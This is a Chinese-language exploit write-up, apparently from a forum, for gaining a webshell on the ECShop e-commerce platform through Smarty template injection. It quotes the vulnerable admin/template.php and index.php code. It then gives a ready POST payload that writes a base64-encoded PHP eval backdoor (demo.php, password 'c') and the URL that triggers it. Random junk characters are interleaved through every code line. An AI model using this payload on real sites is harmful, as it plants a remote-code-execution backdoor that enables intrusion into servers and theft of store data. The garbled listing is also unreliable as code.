首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
8 M. m1 x0 D5 D) b* q
' K/ Z- B- k+ w2 s$ v而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
7 q+ T' U+ S6 w; H: k; ^9 W但是ecshop似乎不支持{php}{/php}这个标签来执行php代码& r* Z4 Y9 a/ c' o5 a
admin/template.php& _. ~& i. s5 {. ?5 d8 O2 _& _
* @% A9 w: x2 Z8 O
1 if ($_REQUEST['act'] == 'update_library') ! ^. g8 f2 r; h1 F6 t: {
5 ?6 ]" |9 e' ~& y" W2 / f- t* R4 j) }# d8 @" B
6 S U7 W' T2 b* M9 J3 { ! b0 ~- l- B# P. |+ ]
% E$ i( R7 S/ [4 check_authz_json('library_manage'); - J7 E: G( F7 F8 E, F
$ E* w) t, M8 J% l9 s1 j ~5
4 e; T8 K# D t
3 I; Y# d9 n) l' V! Y1 x6 $html = stripslashes(json_str_iconv($_POST['html'])); 0 o9 |. A( P. C$ d" [7 p
( h& u8 n6 h# Q9 a& a# k7 p
7
8 W3 C; L3 v7 L. P
9 @9 u/ \- E* X, M% z6 Y) Y+ x# M8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
$ A: d/ W. I, F( F0 s0 w/ X
% `- T4 ^9 A" l& J& g1 v/ ~9
; V3 L+ h* R0 B4 f& j& }7 \- k: k/ ?% Q
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
( C# l$ \2 }4 k& X" f5 f$ y# D* x, T4 p& B0 J3 k
11
2 l* ~9 O* h B+ |' `0 p; X7 e# `
: C# Y e+ ^; l" _. ]12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); 2 L; u& o5 W. M- y' |
* ?) O& a: Q$ `5 H2 \
13
3 n- `+ B6 u& ~2 c7 S& I9 s$ s; O4 d e+ Z0 p( G8 c% O5 I
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
' r& V5 B. [, k; S7 t' j) D: x* V: D T( Z0 m
15 { 0 e# [9 h) J V! V/ a
- [ e y& N/ @0 Y$ }
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); ) \! q5 H# {9 Z2 q! ?' R
7 r. G. i2 Q0 U% ?& V17 make_json_result('', $_LANG['update_lib_success']);
; t/ }( k: d) O: n8 y
- Q; R' y/ h3 m: e% ]18 } 9 a I% ^8 s( h! t5 K9 @
, @6 Q' y" t9 W8 L2 z
19 else 5 a$ [7 t: r( C! ^& T
. Y: ~; W% X. O, N# a# o
20 { * g& `- ]9 e: N3 Q" z/ Y
* _1 ]1 z$ U. |9 W: H5 i. O+ `/ F
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
/ A, G; Y' `: i9 T5 x5 O$ R3 V+ D X/ s P% U0 l" H+ V
22 }
8 o# U) x% J4 n* X5 i5 y# S
* _& X: A9 s1 D( o" T6 [23 }
. p) ~: v5 X# v' i: a8 Y& i3 ~0 T6 T% X
那么找个比较方便调用了模板的文件
, J" P1 G4 U$ X/ j; Nindex.php7 u5 G" ]- z& N4 ~/ B
: f0 Q" F/ f) ]8 O9 x6 i+ d) P1 if ($act == 'cat_rec') + i# E& {' d. D: {! S) h( ]
/ a ]! }3 `4 C9 ^: \ J8 n& U
2
* m$ {# i9 B @4 o1 b+ }+ D/ I! L4 Q- H; x' q' @
3 {
, I6 A1 K- ?4 j: r) T% n5 K5 S* u' @9 N+ p! j
4
/ I9 U* [& Z( N. T3 i; n
% _% [! Q, Y4 I) ^5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); ( i6 R! `) @+ K. Z# Q
' J% C, A& ^0 U6 k$ O: |
6
( r9 m5 y) o" s1 O8 T" P% F$ N/ n" e& n7 T/ A: E! M
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; 8 t# _! `( d5 N4 p8 y
^$ z" N; }( {2 x2 M* b4 {! U8 $ ?5 E0 ^+ q+ t3 V
( ^; ~6 y+ @; D7 m
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
3 h& {# A% X6 v7 L) C$ x8 O8 Z3 z3 Z/ _
m) w$ m8 N& j; X% _10 $ ^# F# ]1 a: k. T
* c# E. b6 x' w, Y4 e11 include_once('includes/cls_json.php');
9 K# y9 E: ?2 l) w
2 `6 j/ N. q& W. e: c& w( x12
( d! S0 ]4 x1 p, p( T2 G9 ~) W% y& V4 [
13 $json = new JSON; " N8 S1 i! |0 F/ [
7 O$ T( v) a! K. v4 R6 s' `: e14 * X* V0 [0 x! T' W- h
3 Z4 n; S$ [4 `% l0 J' S+ X15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
0 N8 V4 }* z) w
- V- D3 j* u! ~16
6 ^6 D/ L! T; a% e: [! `9 k& S# r* r0 ~
17 $children = get_children($cat_id);
/ H5 e* g+ t+ Y5 f; e( `4 B' l T& Q
18
7 i. p5 }, F" Z8 T. J- `% K8 L) y$ f5 e9 e( d% } ^- e4 P
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 4 l8 L" V6 V O) b7 Q$ r
0 J+ ]5 y% }) v; ~20
/ ^2 O$ t% D9 m0 Z% W3 @! D7 s
/ w# t+ E, N1 M9 Z: j21 $smarty->assign('cat_rec_sign', 1);
* a# U2 T, A* X( M5 e% N9 a/ j5 D: q: s( a# f
22
1 h* N# b* _5 k- I; _3 d5 Z, u2 J6 y3 z1 R
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best 0 Y- ]( h+ f H V- m2 G
! o A3 j B0 v6 q: w24
5 @5 W% Y# I1 b$ \1 c% Y* h0 b3 _3 Z; S% ^0 Y) r3 W
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
& y3 p# U- g: K, h/ q: d. `
# j5 I- F( I# S0 u26 ' S8 \; g/ [5 ~8 i
8 w4 U2 K8 ~6 z4 @$ h, D
27 echo $rec_array[$rec_type]; 2 G. b& r, g, Z+ N4 o l
* {4 i6 N! f- f" v( Y28 + x6 s7 K0 g6 x( q* i6 A
5 U: v! f" \( k# i, j$ V. b k$ h29 die($json->encode($result));
) K/ c2 ~) V- n9 O0 `1 }# N
7 B8 X6 k8 \+ C30
+ X8 E2 S* ^8 ]
& O( n2 ` \5 t- G31 } & h F: D) l7 N3 p/ J0 w
4 z# x# J. J3 X( E/ h0 E1 y那么就有利用方法了4 n+ G. O) d$ T* F9 R, s- N! r1 x
post包到http://localhost/ec/admin/template.php?act=update_library1 [: ? z5 j9 J
Post内容:( p1 {* V5 c" d8 R! I4 w. K8 w3 w
! D; M8 G' Q& R5 D0 ]
* S4 S3 d+ F) H( \3 C$ i) A
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
4 f) C W, ?: o7 W, F( P3 i1 x! T% \
然后访问http://localhost/ec/index.php?act=cat_rec2 q q; c- L* h% K. c" L
1 l8 U' e3 N/ S$ `; V8 |& s, ashel地址:http://localhost/ec/demo.php, z! f$ z/ }. R$ V
密码c
. B& h8 M, w' o( ]3 v" C; v6 K, r2 |0 S# b
|